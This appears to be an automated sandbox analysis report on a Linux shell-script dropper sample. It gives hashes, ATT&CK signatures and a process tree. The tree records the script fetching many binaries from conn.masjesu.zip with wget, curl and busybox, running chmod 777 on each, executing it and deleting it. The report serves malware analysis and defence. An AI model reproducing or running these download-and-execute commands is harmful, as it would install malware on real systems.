a29d13a3030627b861579097a9c97b2b78a817d89e05988ae8b12320d376ecc6

Analysis

max time kernel
88s
max time network
90s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
14/11/2024, 01:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c72566effcf8e8f78e34277ced9f0394f5385a070dae6ae2155d3a0d8b9a5694.sh
Size 10KB
Sample241114-bdcegsvrhj
SHA256 c72566effcf8e8f78e34277ced9f0394f5385a070dae6ae2155d3a0d8b9a5694
MD5 241b501a94451175bc2313a093f82590
SHA1 a2de9e1413b3a48b0242771360d9a2f5a8efd456
SHA512 3e9149ae974cd83afef239d6e2e4833a1242ec4ea848f9aa9642840bb8900748660fe0f2fdb2d68ea7c2835cdbc5b4efd93b34c9e267df85d72a34538cbdfa08
SSDEEP 192:w4I5cicOc5cscQFcNKOwAsdXeRiAsdorcicOc5cscQFcCf:w4YcicOc5cscQFcNKOwAsdXeRiAsdor+
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
812	chmod
841	chmod
879	chmod
893	chmod
907	chmod
942	chmod
900	chmod
756	chmod
858	chmod
970	chmod
848	chmod
935	chmod
949	chmod
956	chmod
738	chmod
797	chmod
921	chmod
998	chmod
984	chmod
1005	chmod
872	chmod
886	chmod
928	chmod
977	chmod
865	chmod
914	chmod
963	chmod
991	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
771	curl
878	busybox
925	curl
932	curl
969	busybox
845	curl
857	busybox
946	curl
800	wget
808	busybox
844	wget
927	busybox
960	curl
742	curl
796	busybox
861	wget
875	wget
883	curl
840	busybox
899	busybox
938	wget
973	wget
997	busybox
752	busybox
838	curl
876	curl
920	busybox
955	busybox
983	busybox
801	curl
851	wget
918	curl
924	wget
941	busybox
995	curl
734	curl
871	busybox
896	wget
945	wget
990	busybox
967	curl
974	curl
1002	curl
847	busybox
864	busybox
910	wget
939	curl
952	wget
1004	busybox
889	wget
988	curl
1001	wget
890	curl
892	busybox
903	wget
931	wget
953	curl
976	busybox
981	curl
737	busybox
904	curl
906	busybox
911	curl
917	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1	curl
File opened for modification	/tmp/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY	curl
File opened for modification	/tmp/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ	curl
File opened for modification	/tmp/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH	curl
File opened for modification	/tmp/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA	curl
File opened for modification	/tmp/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2	curl
File opened for modification	/tmp/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc	curl
File opened for modification	/tmp/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ	curl
File opened for modification	/tmp/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2	curl
File opened for modification	/tmp/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D	curl
File opened for modification	/tmp/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA	curl
File opened for modification	/tmp/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9	curl
File opened for modification	/tmp/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc	curl
File opened for modification	/tmp/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs	curl
File opened for modification	/tmp/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY	curl
File opened for modification	/tmp/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs	curl
File opened for modification	/tmp/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj	curl
File opened for modification	/tmp/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt	curl
File opened for modification	/tmp/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D	curl
File opened for modification	/tmp/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I	curl
File opened for modification	/tmp/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj	curl
File opened for modification	/tmp/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt	curl
File opened for modification	/tmp/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9	curl
File opened for modification	/tmp/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y	curl
File opened for modification	/tmp/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I	curl
File opened for modification	/tmp/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH	curl
File opened for modification	/tmp/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y	curl
File opened for modification	/tmp/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1	curl

/tmp/c72566effcf8e8f78e34277ced9f0394f5385a070dae6ae2155d3a0d8b9a5694.sh
/tmp/c72566effcf8e8f78e34277ced9f0394f5385a070dae6ae2155d3a0d8b9a5694.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  - System Network Configuration Discovery
  PID:737
- /bin/chmod
  chmod 777 FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  ./FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  PID:740
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/chmod
  chmod 777 bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  ./bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  PID:761
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:771
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  - System Network Configuration Discovery
  PID:796
- /bin/chmod
  chmod 777 hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  ./hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  PID:799
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  - System Network Configuration Discovery
  PID:800
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  - System Network Configuration Discovery
  PID:808
- /bin/chmod
  chmod 777 ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  ./ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  PID:817
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  - System Network Configuration Discovery
  PID:840
- /bin/chmod
  chmod 777 kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  ./kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  PID:843
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  - System Network Configuration Discovery
  PID:844
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  - System Network Configuration Discovery
  PID:847
- /bin/chmod
  chmod 777 rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  ./rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  PID:850
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  - System Network Configuration Discovery
  PID:851
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  - System Network Configuration Discovery
  PID:857
- /bin/chmod
  chmod 777 RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  ./RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  PID:860
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - System Network Configuration Discovery
  PID:864
- /bin/chmod
  chmod 777 3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  ./3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm 3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  PID:867
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  - System Network Configuration Discovery
  PID:871
- /bin/chmod
  chmod 777 aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  ./aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  PID:874
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - System Network Configuration Discovery
  PID:875
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - System Network Configuration Discovery
  PID:878
- /bin/chmod
  chmod 777 4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  ./4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm 4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  PID:885
- /bin/chmod
  chmod 777 fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  ./fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  - System Network Configuration Discovery
  PID:892
- /bin/chmod
  chmod 777 D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  ./D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  PID:895
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - System Network Configuration Discovery
  PID:899
- /bin/chmod
  chmod 777 7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  ./7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm 7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  PID:902
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - System Network Configuration Discovery
  PID:903
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - System Network Configuration Discovery
  PID:906
- /bin/chmod
  chmod 777 sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  ./sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  - System Network Configuration Discovery
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  PID:913
- /bin/chmod
  chmod 777 D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  ./D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  ./7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm 7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - System Network Configuration Discovery
  PID:927
- /bin/chmod
  chmod 777 sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  ./sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  PID:934
- /bin/chmod
  chmod 777 fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  ./fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  - System Network Configuration Discovery
  PID:941
- /bin/chmod
  chmod 777 FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  ./FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  PID:948
- /bin/chmod
  chmod 777 bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  ./bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  - System Network Configuration Discovery
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  - System Network Configuration Discovery
  PID:955
- /bin/chmod
  chmod 777 hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  ./hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
  2⤵
  PID:958
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  PID:962
- /bin/chmod
  chmod 777 rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  - File and Directory Permissions Modification
  PID:963
